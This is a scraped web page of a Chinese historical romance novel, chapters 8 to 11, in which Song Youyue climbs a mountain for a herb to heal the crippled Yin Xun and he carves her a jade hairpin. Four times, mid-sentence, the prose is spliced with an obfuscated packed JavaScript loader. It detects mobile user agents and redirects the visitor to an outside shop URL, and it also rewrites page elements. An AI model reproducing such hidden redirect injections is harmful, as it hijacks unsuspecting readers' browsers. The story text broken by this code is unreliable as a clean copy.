手指微微用力,扣住他的手腕,微凉的掌心半贴上来,却让他感到烫人的热切。 好软,好烫。 他有点晕眩,几乎被隔绝了所有感官,只能微弱感知到红肿处长久的痛痒,以及坠落到他手臂上的,她温热的眼泪。 宋游月盯着他,眼尾泛红,眸光潋滟,却难得带了些强硬:“躲什么?” 他只好努力忍耐手臂处不容忽视的温度,克制恼人的情绪,耳根微红,看着她解释:“真的不疼.....应该是食毒。” “食毒?” 她擦掉眼泪,蹙眉:“好端端的怎么会中食毒?” 她瞬时又想到:“是晌午的鱼虾?可你以往不知道么?不舒服也不知道说。” 他嗯了一声,算是认同。 她终究松了口气,睫毛挂着泪,松开手:“这个好办,库房里有清凉膏,敷上便好,或者抓副消风散喝上几日。” 她嘟囔着:“我还以为,他们胆大包天到欺负你这个地步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638287|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 殷寻摇摇头,曾被她握住的手指尖微蜷。 他垂着头,像一只温驯的羔羊:“姐姐莫要担心,只是我吃食上没多注意,疏忽了。” 宋游月点点头,转而对他耳提面命,教训起来:“那身体不舒服也要及时说,知道吗?不要忍着。” 目光从他的手臂轻柔地扫过去,最终落到他的双腿上,她轻叹一声:“你的腿,我已经找到了办法,你不必忧愁。” 她已经想好了。已经几日了,派出去的侍从也没有递回来消息,想来是希望渺茫。 那项宁行踪不定又不好相处,这也是情理之中。她本想再等等,但经过今日之事,治好小寻的腿迫在眉睫。 她不愿让他同她一样地遭受□□上的痛苦和折磨,不愿让他再为此伤心、失落。 她想让他身体健健康康的,堂堂正正地站起来。 这岐黄山,她不得不闯了。 她没再多说什么,只是承诺:“七日内,我会寻到一味草药,治好你的腿。” 说罢,她丢下一句“好好休息”就离开了。 殷寻早就心神一震。 他不是傻子,早就猜到自己的双腿很棘手。 喝药时,偶尔能听到婢女侍从们零散的惋惜,惋惜这些上好的药材都给他用了。 可即便有这些珍惜草药吊着,也止不住他双腿的恶化。 他想起她方才的轻叹:为了他的腿忙碌了好几日。 那怎么突然便能有办法了呢? 他看着窗外暗下的天色,心里升起隐隐的担忧和不安。 明天一定去寻她,问一问。 * 第二日,清晨。 轮椅压过羊肠小径发出骨碌碌的声音,打破暗夜沉淀下来的寂静。 一人一椅自游廊始,穿过茂林修竹,穿过几处亭榭,最终停驻在花木深处。 殷寻昨夜睡得很少。 他心里有事,一夜几乎半梦半醒。睁眼等到天光乍破,便独自摇着轮椅,走出偏院看看这魏国公府。 即便是昨晚宋游月刚刚给他换了批得力心腹,成了魏国公府名正言顺的表少爷,他也不习惯身边时刻有人陪从,因此谁也没有惊动。 他默默坐着,看着远处赤红的日从绵延的山上探出头,照出凉凉的日光。 不自觉又想起昨日少女挡在他身前的样子。 却听见远处府门口传来一片乌泱泱的嘈杂声,脚步声马嘶声交杂。 他停下听了一会,似乎有人要离府。 但他没在意,只是坐在原地,呼吸林间清透潮润的空气。 他漫不经心地想,或许是魏国公要去上朝罢。 他等了一会,突然砰的一声响,两扇厚重的朱红府门被关上,庭院里恢复平静。 一阵脚步声匆匆由远及近,一小厮“哎呦”一声,忙过来推着他:“表少爷,这天凉露重的,您怎么一个人出来了。” 这小厮叫九夏,为人机灵,是昨日听他命令撺掇众人议论的关键之人,也是唯一被他保下来,没有被换掉的。 “可算是寻到您了。”他一边把手里的锦氅披到他身上,一边觉察到他往外探的目光,随口说,“二小姐是走了,可心里一直牵挂着您。要是知道我们没伺候好您,又得发火。” 二小姐? 殷寻心神一震,刹那间抬眼看他,话语生涩: “你说什么?” 8. 钝痛 九夏神情茫然,被他震惊不解的样子镇住,嘴里重复着:“二小姐走了,但心里记挂着您,要是知道......” “不是这个。” 殷寻手紧紧握住轮椅手柄,死死盯着他,眼里透着红血丝,难得有些狼狈:“是她走了?” 小厮才恍然大悟,讶异问:“您不知道吗?二小姐没跟您说?” 没有。 九夏看他有些苍白的脸,明白了什么,解释着:“是二小姐走了,听说是去寻一味草药,原因倒不知道为什么......那地方据说又远又偏僻,还不知道何时能回来。” 他嘟囔着:“原本是派人先去寻的,可是不知什么事情紧急起来,那项宁又难缠得很,二小姐就亲自过去了。” 为他,寻药。 殷寻像是被他的话直直扇了一耳光,脑子里一片空白。 就连指甲陷进掌心都没发觉,直至出现深切的红痕,才恍然回神感觉到痛。 就在刚刚,就在一墙之外,他亲耳听到的,原来是她离开的声音。 可是他昨日设计那些事情,只是想让她多看看自己,不是逼她立刻就去寻的。 殷寻第一次如此深刻地明白什么叫悔不当初。 她默默为他做了这么多,以身涉险去寻药,却一句也没提,甚至离开都是安静的。 即使是为了他,即便是为了他。 他眼前一阵发黑,手都在抖。 而他都做了什么? 她怎么会以为,他能心安理得待在这里,等她回来。 他闭上眼,深吸了一口气。 九夏看他闭上眼,以为他是缓过来了,继续念叨:“二小姐本就体弱多病,这一路上风餐露宿,伤到了身体可麻烦了......” “可能小姐有自己的考量吧,我们这些做奴才的,说了也不算什么。”他话语间有些担忧,哀叹一声。 殷寻听到这话脑子里更是嗡的一声。 心跳砰砰响,震得他晕眩。 她自幼体弱,还容易头晕,到底是多么难缠的人和事,非要她亲自去? 她要去哪?路上安不安全?七日内......真的可以回来吗? 他控制不住地去想那个让他惶恐的最坏可能性:冬雪厚重,路途颠簸,她会不会生病,会不会受伤? 若她因为他而受了什么伤,他真的能心安理得地享受她带给他的一切吗? 他不能。 积攒的不安越来越浓,脑子里只剩下让她回来这个念头,他伸手去摇轮椅,难得莽撞地想追出去寻她。 不要去了,不必为了他,回来好不好。 九夏“哎”了一声:“您这是要去哪?” 他急切地追了几步:“您是想去寻二小姐?可是如今早就走远了。” 殷寻摇着轮椅,压过半化的积雪方走了几步,指尖便被凛冽的风吹得发红。 他被九夏拦住去路,听到他急切的劝说,身子一僵,颓然地松了双手。 他这双腿,什么都做不了。 如今这般,不过是愚蠢的徒劳无功。 他坐在那里,垂下长睫,像一座冻成的冰雕。 心脏被发苦的情绪吞没,泡得肿胀,闷在胸口。 要是他没有设计引导他们说出那样的话,她是不是就不会如此急迫地亲自去寻? 他是这样一个阴险欺诈的坏人,是个双腿俱断的残废,本就不配她的好。 九夏也是第一次从这位表少爷脸上看到如此显而易见的茫然无措,像是魂魄都挂到二小姐身上飞走了。 他把他拦在院内,僵在原地,却一句话也不敢说了。 这新来的表少爷,年纪不大却心思深重。 最初他也只当是个普通的年轻主子,只是在身边人都敷衍应对的时候,他因为胆小,照常不冷不热地伺候,没有很殷勤。 没成想第二日便被他抓了把柄,那道淡淡却带着压迫的目光落到他身上,他便不得不根据他的意思散布谣言,为府里的风言风语加码。 那日傍晚,他照常按着殷寻的意思,引着一群仆妇凑在一起高声议论,却没想到被二小姐抓个正着。 他当时就跪下了,甚至要吐出真话。 但这位表少爷坐在二小姐后面,那双黑眸幽幽地看着他,直让他心里发怵。 他什么都没敢说。 后来也有好处,表少爷亲自开口为他求情,把他留了下来,还赐名九夏。 他就此认命,老实本分地为表少爷做事,也算不幸的万幸。 九夏踌躇片刻,见殷寻仍定在轮椅上,便小心翼翼地开口宽慰:“二小姐没跟您说一定有她的原因,许是不想让您为她担忧。” “老爷夫人都很疼小姐,想必为她带足了人马,您不必忧心太多。”他有意往好的方面讲,“何况,这不正说明小姐看重您,才想治好您的腿嘛。” 殷寻不语,并没有被他的话宽慰到,反而感到心口隐隐作痛。 像有一把钝刀,一下一下割着他的心脏。 可他什么都做不了。 * 此时此刻,另一边。 宋游月踏上去项宅的路。 既然决定去寻那项宁,以她的性格,自然不是无的放矢。 她自幼体弱,好歹与项宁有过接触,知道他虽然性情不羁,却完美继承了项家人的特质,是个十足的医痴。 她派出的人虽然没成功把药带回来,但至少探出了些消息:项宁这两年四处游历,是在寻某本古籍的下落。 如果她能拿着那本残卷去,应该能让他松口。 恰巧,宋家人对探听情报、搜求物件很有一番长处。 在宋游月日夜兼程奔往江夏时,她派的人也同时携着《青囊经》下卷抵达项家。 当时她派人递了信,顺利进入项家。 隔着一道屏风,她拿着书,告诉项宁她手里有他想要许久的书。 房间内沉默一瞬。 然后就听项宁悠悠开口,带着几分玩世不恭:“这《青囊经》,项某的确想要许久了。可是,宋二小姐,你我也不是第一天相识。你也知道,我项家行事自有一番规矩,非诚不治。 “你要的素心兰,全天下恐怕只有我这里有,珍贵的很。” 他故意装出一副傲慢的样子。 宋游月无语。她明白其实项宁已然心动,只是依他的性子,在拿乔故意刁难罢了。 她时间紧迫,需要早些回府,只能耐着性子问:"你还想要什么?" 项宁一笑,心满意得:“这样,我给你两个选择。一,像以往一般留下给我做半月的苦工,只需在我身边做些小事,工钱照发。二,亲自一步一阶走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638288|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上后山的一千零八级台阶,自己去观云亭里采你要的素心兰。” 他笑眯眯:“如何?” 心里却笃定她会选第一个。 宋游月绷着脸。 这看似是两个选择,可对于现在的她来说,只能选第二个。 项宁没有为难她,第一个的确是极好的选择。她曾在此呆过两次,这岐黄山空气清新风景秀丽,是调养身体的好地方,且侍奉他左右的不只她一人,做的也都是些轻松的差事。 但是她答应了小寻,七日内一定把草药带回去,今日到了这里,就已经花了足足两日,她必须尽快拿到手。 于是她开口:“我选第二种。” 项宁勾起的唇角僵住,神情错愕。 * 又是一场大雪落下,殷寻坐在窗边望着外面,心里惴惴不安。 离宋游月离开已经足足六日了,今日是她曾说好的第七日。 天快暗下来了。 他低头纠结片刻,还是唤来九夏推他出去看看。 九夏忙应了一声,熟练地推着他在廊下坐着。 一主一仆听着雪落,一站一坐了许久。 终于九夏一边冻得止不住给双手呵气,一边无奈地劝:“公子,这一下午已经是第五次出来了,您在这等着二小姐也不会早些回来,何必在这冻着呢。” 见殷寻只是盯着半空纷飞的雪不语,继续说:“二小姐这一去音讯全无,寻药这一路想必艰苦,晚些回来也很正常。您先回去休息,等二小姐回来了,我再第一时间跟您说可好。” 殷寻明白他说的对,但心里仍是不愿离开。 她音讯全无的几天里,每一点捕风捉影的消息,都让他的心起起落落,惶恐不安。 他已经煎熬了太久,在这紧要关头只想抱守着这一点希望。 就如此刻,雪停了。 他说:“你先回去吧,我再自己坐会。” 九夏轻叹:“那小的先去给您端药,您等一会。” 殷寻颔首。 九夏方离开,殷寻便听远远的府苑门口有一阵骚乱声,直觉是她回来了。 心里的期盼几乎呼之欲出,霎时他想奔过去寻她,推着轮椅艰难地往外走。 恨不得插上翅膀飞到她身边。 在他来到院门,却被矮矮的门槛困住。 他抿唇,努力压过去,动作间发丝黏在脸上,寒天里甚至滴下热汗,后背一片热热的濡湿,颇为狼狈。 他低头想调整轮椅,突然听到一阵匆忙的脚步声。 后面跟着一串杂乱的脚步声和呼喊。 他似有所感,抬起头。 宋游月跑到他面前,气喘吁吁,衣衫略显杂乱,风尘仆仆。 “小寻!” 以往明净的脸颊沾了些灰,带着红晕,一双眼睛却亮的惊人,抿唇一笑,唇边浮现两个苍白的笑涡。 昏暗的,浅浅的,动人的。 殷寻呼吸一滞。 仿佛整个世界只剩下她一人,暗下来的天色里,只她一人明亮又温暖。 他张口想说些什么,小心翼翼地伸出手想牵住她。 却看下一刻她直直向他晕倒,半个身子软软地靠在他腿上。 他伸出的手把她抱了个满怀,脸上的血色尽褪。 仿佛一瞬从天堂下到地狱。 9. 雏鸟 霎时殷寻脑海里闪过所有纷繁杂乱的原因和可能,好的恶的,乐观的悲观的,通通都有。 他只觉得浑身血液上涌,身体在极致的惊惶之下没了力气,只有扶着她的手臂本能僵持着,把她软而沉的身体搂在怀里。 像一个僵硬的提线木偶。 谈星跟在后面跑过来,见此惊呼一声。 这才慌张地找侍卫来抬走她,抬进屋里。 场面一时很混乱,没人顾得上坐轮椅的少年。 他坐在那里,一时被冷落,眼睛始终追随着被人群拥围着的少女,心里盛满不安。 还是九夏和三冬听到动静出来,才推着殷寻去内室。 宋游月发起了高烧。 或者说她一路都不太舒服,早已染上了风寒,回府后骤然放松心神,才晕了过去。 话月母亲来看过,问题不大,大抵是登山疲惫加上一路精神紧绷,舟车劳顿,所有事情堆起来,才让她发起高烧。如今已经把脉写了药方,想必不久就能好。 自从捡到殷寻后,她虽日日奔忙,却奇怪般的身体底子比之前好了许多。 这也是她母亲父亲虽不支持她独自前去,但也没实际阻拦的原因。 德清大师的话,他们是相信的。 谈星和话月你一言我一语,逐渐为殷寻拼凑出了事情的样貌。 他得知了项家,得知了岐黄山,以及那能挽救自己双腿的那神妙药丸。 不过她们了解的也有限,因为宋游月是独自上山的。 但当时她拿了草药下山时,身体并无大碍。 殷寻在一旁听完所有,松了口气。此时已弦月高悬,他苍白着脸,仍不肯走。 身边丫鬟小厮都劝他,九夏提醒他喝调养身体的药,但他喝完药,推着轮椅也要固执地守在她身边。 他幼年便曾日日守在生病的母妃身边,除了腿脚的不便,做起这些事来显得熟练又得心应手,引人侧目。 他为她擦去后颈闷出的冷汗,为她捏着下巴一勺勺喂药,守在她床边。 当时他被她捡到,她为他守了一夜。如今时移世易,也轮到他照顾她了。 殷寻自嘲。 隔着轻薄的床帷,他坐成一座沉默的石头,守望着床上的人。 床榻之上,宋游月退了烧,却迟迟醒不过来。 她做了一个梦。 梦里,看不清面容的男童在皇宫里被欺负虐待,与母亲相依为命。 吃的饭是残羹冷炙,取暖用的碳是最差的黑炭。 那幼童红着眼,一边扇风一边咳嗽。身后的床榻上,针线歪扭的破旧被褥盖着的是奄奄一息的女子。 后来画面一变,孩童长成青年,银鞍白马,气质凛冽,带着数队铁骑踏破宫门。 那一天,乌云压城,血流成河。 他发动宫变,逼圣上自杀,自己则翌日黄袍加身,登临帝位。 再后来......再后来? 她头痛欲裂,在伸手不见五指的黑暗中又浮沉了许久。 然后醒了过来。 眼前从模糊逐渐变得清晰,她喉头干涩地一滚,拿下额头凉凉的软巾,才反应过来自己是发烧了。 她偏过头,一边少年支着手臂坐在轮椅上,蹙眉正睡着。 她无声一笑,动了动身子想坐起来。因为不想惊动他,她动作很轻。 没想到少年忽然睁开眼,在短暂的怔愣后看向她。 两人对视那一刻,她分明地看到他眼里盈满了惊诧、惶恐与失而复得。 不过一瞬,眼眶就红了。 宋游月有些讶异。 殷寻睡得很轻,这一夜他根本没睡熟,早已因为各种原因惊醒了许多次。 看到她醒后,忙推着轮椅靠她更近些。然后毫不犹豫地倾身抱住她。 其实他身量很轻,说不出是谁在抱谁。 几乎像一只雏鸟轻飘飘地落到她怀里,又带着初生的莽撞。 殷寻把头轻轻放到她颈窝,掩去那一滴眼泪。 就好像没有哭过。 宋游月睁大眼,一时间小心翼翼,良久才环住他。 她哑然,半晌才想到或许是她的不告而别,让他没有了安全感。 果然还是小孩子。 不过,这还是他第一次如此主动袒露自己的脆弱和不安。 宋游月想,比起他最初的抵触沉郁好了不少,让她有了点成就感。 她轻拍他单薄的肩膀,低声哄着:“姐姐没事,你不必怕。” 听到这句话,殷寻眨眨眼,擦掉那点眼睫上的湿润,手臂一松。 身前贴着她软而热的身体,鼻尖萦绕她混着药味的馨香,他后知后觉挨她如此近,慌忙后撤。 他有些不自在地偏过脸,推着轮椅走到一边:“睡这样久,渴了么?” 少年白净的脸上神情更加乖顺,垂眸给她递了杯水。 宋游月脸颊睡得红扑扑的,颈间沾了薄汗,坐起来接过水,然后用另一只手随意扯了扯领口。 一口气喝完一杯水,嗓子才好受一点。 殷寻刻意收敛视线,却不自觉地用余光关注着她的一举一动。 看她喝完,他动作自然地接过茶杯,搁到一旁案几上。 然后再次俯身碰了碰她有些凉的额头,松了口气:“总算是退烧了。” 他俯身的举动很亲昵,使宋游月有些不自在。但也只是归结为照顾她一夜习惯了,就像当初的她一般。 她总觉得他此刻态度有些异样,似乎更加温顺,像是被驯服后,彻底没脾气的小狼。 她摇摇头,把这古怪的想法抛到脑后。 然后看着他,第一时间道:“那草药我已经寻来,她们给云姨了么?早日炼出那药丸,便能早日治好你的腿。” 少女脸上仍带着大病初愈的红晕,嗓音有些沙哑,话语轻飘飘的。 她口里的云姨便是话月的母亲。 殷寻点点头:“话月已经拿去了。” 他说完,一双黑眸定定地看着她的脸,不自觉就出神,看了许久许久。 依恋、后怕、后知后觉,所有情感交织在一起,让他如此贪恋此时鲜活的、近在眼前的她。 他的视线继续在她的脸和露出的手臂上逡巡,带着异样的温度,宋游月心里再次升起不自在的感觉。 但也只当作少年的后怕。 没等她说什么,殷寻便收回目光,开口问:“姐姐决定离开,为何没跟我说一声?” 宋游月听闻此言,有些心虚,垂下眸:“既已决定的事情,只等回来后你来拿那药便可,何必再多言一句。我是姐姐,自然要为你遮蔽风雨的。” 她的语气自然而又理直气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638289|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮,像是一把小锤,不轻不重地捶在他千疮百孔的心口。 又如摆钟,左右来回,一荡又一荡。 殷寻尘封已久的冰冷心门再一次被她轻叩,灌进一股暖风。 他闭眼,微不可察地叹息一声:“好。” 宋游月看他轻叹,扬起唇角伸手捏捏他的脸,打破此时沉寂的氛围:“小鬼一个,别操心这么多,姐姐在呢。” 她语气得意,晃晃脑袋:“姐姐没有食言吧?有了这素心兰,你的腿必定能好,只是时日问题了。” 又伸手揉揉他脑袋,叹息一声:“那样你就可以站起来了。我绝不会让你变成残废的。” 殷寻心一暖,再次化在名为她的融融春水里。他下巴微抬,第一次主动迎合她的掌心轻蹭了蹭,带着眷恋。 一双桃花眼水光潋滟,看着她说:“姐姐在,我不担心。” “只是——” 他话语带着轻微的恼怒,眼尾的痣晃了晃:“阿姐是不是也应该担心一下自己的身体?自己还服着药,就敢奔波千里,独自一人亲自一步一阶登山去取,即便是为了我。” 宋游月手心还残留着他发丝蓬松的触感,听了他的话,咳嗽两声,就不自在地挪开眼。 当时她自以为身体好了不少,自信可以应对,又实在时间紧迫,便毫不犹豫地选了第二种。 实际登上那山路时,她也有过后悔。 原因无他,她平日鲜少活动,陡然一登山,实在是太累了。 可选都选了,没有退路。即便力竭,她也仍撑着一边登山,一边休息,才终于进入观云亭。 加上项宁特意放水,把素心兰提前采好放到锦盒里,她轻而易举便拿到了。 心思转了一圈,她开口解释:“我心中有数。一是项宁与我相识,绝不会刻意为难。二是时局所迫,不得已为之。” 她伸出手,讨好地去勾他手指:“姐姐错了,以后绝不会让你担心,好不好?” 以她的经验,每次这般拉拉阿姐的手,阿姐总会心软。 少女刻意放软声音,一双杏眼在烛光下含情看他,装出可怜兮兮的样子。 殷寻被她碰到的瞬间,像是被什么东西一烫,急忙收回手去,连质问都忘了:“你自己知晓便好。” 他闷闷地说,话里存着别扭,不愿去看她。 突然宋游月“呀”了一声,存着转移话题的心思,好奇地指了指他唇边:“我之前看到过,你这有个梨涡诶。”又指了指自己,特意弯起唇角给他看,“我也有。” 殷寻的目光落在近在咫尺、粉雕玉琢的圆脸上,忍不住唇角微勾。 他甚少真心地笑,这一笑,果真又浮现两个浅浅梨涡,如冰雪消融,温润如玉。 她看把他逗笑,又伸手去戳他的脸:“我怎么瞧着,你比我走时还瘦一点?” 她凑近,仔细端详:“脸颊瘦了......要是再瘦就真脱相了。” “我不在,是不是没好好吃饭?” 她睁大眼睛,故意装出气恼的样子:“如今我回来了,非天天盯着你吃饭不可。” 殷寻下意识后仰身子,目光却忍不住流连在她弯起的眉眼,强忍着不习惯任她揉捏。 他说:“好。” 然而殷寻不自觉再次回想起她的话,捕捉到她口中的陌生的名字,发问:“项宁?” 10. 礼物 “啊,”宋游月不在意地讲,“对,他是江夏项氏的年轻一代,我因为自幼总是生病,寻遍名医,去过几回岐黄山,和他有过接触。” “项宁其人,嘴尖心软,最多不过面上刁难,不会故意为难我。” 殷寻沉默,他直觉这个项宁不正常。 还有,语气那么自然,他们很熟悉吗? 但他到底没说什么,只是点点头。 此时天已蒙蒙亮,远处传来鸡鸣。 褪去精神的紧绷,殷寻后知后觉感到疲惫,打了个哈欠。 宋游月察觉到,忙撵他出去:“守着我累了吧?去睡你的觉,别打扰我休息。” 殷寻摇摇头,他还记着这正是她要喝药的时间: “阿姐该喝药了,喝完再睡。” 他出门,不一会端了碗药来。 递给她前,他特意试了温度,温热的,刚好能入口。 宋游月盯着那一碗黑幽幽的药,皱起了脸。 她看着越来越近的药,觉得端着药的殷寻都连带着变得邪恶起来。 殷寻看她这幅模样,有些讶异:“阿姐害怕喝药?” 方才她昏睡着,看不出来。没想到千山万水都不辞辛劳的她,看似无所不能,竟然怕这个。 她坐着,没说话,只是仰起身子离那碗更远了些,满脸都是抗拒:“......苦不苦?” 他又没喝过,哪里知道苦不苦。 但他只是面容平静,一本正经地说:“不苦。” “真的?” “真的。” 苦不苦都要喝,他点点头,胡诌起来:“云姨知道你惯常怕苦,特意用了不苦的药。” 宋游月捏着帕子犹疑地看他,信了半分。 “烫吗?” “不烫。正好的。” “那......”她横眉挑刺,离得那药碗远远的,“你去拿蜜饯来,再拿一碗清水。” 她一定要在喝完的那一刻就漱口去除掉那让人反胃的药味,然后含上蜜饯! 殷寻照做。都备好以后,他端着药碗,俯身过来舀起一勺汤药,示意要喂她。 宋游月先是凑近嗅了嗅,瞬间脸又皱成一团。 “我自己来,一口一口简直是凌迟。” 她伸手端过,颤巍巍地凑到唇边,摒着气“咕嘟咕嘟”喝下去。 然后立刻漱过口,接着含住他喂来的蜜饯。 等咬碎了,才如蒙大赦地放松下来,紧凑的眉目舒展开来。 殷寻看着她行云流水的所有动作,既惊讶,又不禁弯了弯眼。 她两颊鼓起来:“哪里不苦?明明又酸又苦。” 殷寻笑起来:“不是自幼喝药,阿姐怎还怕?” 宋游月撇撇嘴:“就算是喝一万遍也会觉得苦。” “难道人会因为常常处于困苦之中就习惯困苦吗?或许有人会因为习惯黑暗而为之伸张,但我认为这样不对。” 她语气愤愤:“反人性的东西,无论如何也反人性。云姨明明知道我怕苦,如今这般,肯定是听了母亲的话,故意为之。” 殷寻闻言一怔。 “这是气我行事莽撞呢,”宋游月咽下蜜饯,呼出的气都带着清甜,催促他:“好了,你快走吧,好好休息一下。” 她扬声把九夏喊来:“照顾好你主子。” 她看着脸色有些苍白,瘦弱困倦的轮椅少年,又拉住他叮嘱:“多吃饭多睡觉,才能长高,知道吗?” 殷寻忍俊不禁地笑,点点头:“好。” * 殷寻醒来,已是未时。 大梦一场,他仍不敢相信她已经平安回来,又想到昨夜她的高烧,当即去寻。却没想到她大病初愈,竟不在府里。 他心里带上几分担忧,只能无奈等她归府。 坐在檀木轮椅上,他左思右想,决定为她做点什么。 他的,姐姐。 他环顾四周,目光在那花梨长桌、描金山水围屏,瑞香瓶花间起落,竟一时间想不出她需要什么,又喜欢什么。 她是魏国公府家的姑娘,自小千娇百宠地长大,自然是什么都不缺。 他垂眸。 这样的人,却把目光放到他身上,把他救出往生的泥潭。 可他还是想送给她什么。 他思忖片刻,想起她的模样,一头如瀑青丝,柔顺又黑亮,轻柔地披在她肩头,心里有了答案。 他想送她一个发簪,像月亮一般温润皎洁地挂在她发间。 又想,亲手做一个罢。 他母妃出身寒微,父亲是坊间匠人,有一手制物的好手艺,家里人便都会。幼时他便常常看母妃身边的素馨姑姑修补破旧的桌椅。 而被送去做庶子后,为了活下来,他八面圆通,与府里的杂役房仆人私交很好。加上天资聪颖,便会了许多手艺,平时也会自己修补器物。 因此相较于平常人家的公子,他琴棋书画会的不多,反而这些雕琢修补、做羹汤的手艺很精通。 定下要送什么,他就行动起来。 于是九夏和三冬便看自家公子一改过去几日的沉寂颓丧,忙碌了一下午。 从库房到工房,中间穿插着亲自盯着二小姐喝药,直到他们亲眼看着殷寻坐在庭院的一角,摆弄起玉料来才恍然猜到他是要用玉做个东西。 三冬熟悉这种手工活,先瞧出他要做什么,凑过去问:“您这是,要做个玉簪?” 殷寻垂着头,往复拉动弓弦,带动掺水的解玉砂,切割着玉料。他面容认真,动作熟练而细致,一点点切磨着那块细腻温润的和田青玉。 他说:“嗯。” 九夏听闻吃了一惊:“您何必亲自做?若是匣子里那些发簪都不合心意,内务处明日就能送新的来,保证您喜欢。” 他语气淡淡:“做给阿姐的。” “还有,”他轻抬眼皮,扫了他们一眼,“这件事,谁都不要说。” 九夏与三冬面面相觑,噤了声。两人忙点头。 经历了这些事,九夏也了解了几分这位表少爷的性子:沉郁、固执,城府深密。 他万万想不到,如今他也有在月光下亲手做女儿家头面的时候,全然不似最初的算计和漠然。 或许这也是命运的有趣之处。 两人默默跟在他身边,在他腿脚不方便的时候帮个忙,直到深夜。 殷寻做得很仔细。甚至可以说,他第一次耐着性子,投入身心做一件东西。 从前他的心血全都用于在意饥寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638290|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从未有过片刻的静谧安然容他做些自己想做的事。来到她身边后,又因她的离开而牵肠挂肚,心思浮乱。 他垂眸,一次次拉动弓弦。 时人制作玉簪,大抵都这几步:开料,制胚,钻孔,修磨,抛光。 今日他用拉丝弓将大料切割成玉片,明日便去用砣机切磨出雏形。 簪子的模样他已经大体有了想法,就选近时开放的梅花,皎洁芬芳。 只待明日勾画成形。 月光洒下来,照在埋首制作的少年身上。冬日寒夜,他却出了一身汗,凉凉地黏在背后。 切磨是一件磨人又枯燥的工事,他不禁思绪飘远,脑里浮现出送给她时的景象。 要挑一个晴朗的日子,花几日做到尽善尽美再送出去。 或许等他揣着簪子去寻她时,她身体已大好,脸颊多了红晕。 那她收到后呢,会欣喜吗?还是,平静? 他想着,应当会喜悦吧。或许杏眼会弯起来,再说些甜言蜜语。 她欢喜他,对他一向又温柔又体贴。 可是不禁又踌躇。 他亲手做的,她会戴上吗? 他想起下午喝药时,她的穿着打扮。 因是刚从外面回来,她简单打扮了番,细眉丹唇,三小髻上插着几根精细的金钗,玉润金清,明艳动人。 她会愿意戴一支如此简单的玉簪吗? * 如此过着,日子便爬到了冬至前一日。 既是小至,府里已经张灯结彩起来,有了过节的气氛。 宋游月身体早就无恙,神采奕然,脸颊都多了血色。 有了那株草药,加上云姨的调制,殷寻的腿停止了恶化,已经在慢慢好转。 最关键的问题解决了,剩下的只能交给时间。 云姨估算着,最快也要五个月才能痊愈,像正常人一般走路蹦跳。 总归不影响他练武。 这是件喜事,让她心里放下了一块大石头。但又多了新的烦恼——即便日日与殷寻接触,她的预知梦仿佛失灵了一般,梦不到更多的细节了。 而离父亲征伐受伤,只有一月了。她必须依据已有的蛛丝马迹,做些什么。 还有那日山下追杀她的人。如今她身体好转,这一桩一件,都要着手安排了。 心思烦乱地用过膳,宋游月便去寻殷寻。 这几天除了监督她喝药,她见他的时间倒是少了许多。 她早听闻他前几日去工房借了些东西,只是不知道要做什么。这几日都忙碌又神秘,没主动跟她说过。 不过她也向来不管,左右如今他缺的都补齐了,如果他再需要,她奉上就好。 养孩子嘛,抓大放小,少废些心神,对彼此都好。 宋游月一路走过,所见一片忙碌而喜悦的景象。 明日便是冬至,府里上下都准备着过节,更易新衣,备办饮食,享祀先祖,庆贺往来。 这样重要的好时节,同样也是小寻的生日。 前些时日她去查他来历时也顺便做了许多事,埋了他的庶母和他曾提过的程叔,也问过他的生日,恰在明天。 因此早早准备了礼物。 一个她希望他会喜欢的东西。 11. 自由 宋游月正想着,已经到了偏院。 屋内银丝碳烧得正旺,仆妇们迎上来,解下她的暖帽和紫貂寒裘。 今日她醒得早,心里有事便睡不着,早饭没有胃口,只简单吃了些。 如今走到殷寻这里,外厅不见他,才知他刚起没多久。 少年坐在方桌前,正慢斯条理地用膳。 “今天倒起得晚,”她随口一说,坐到他对面,“这些你可爱吃?” 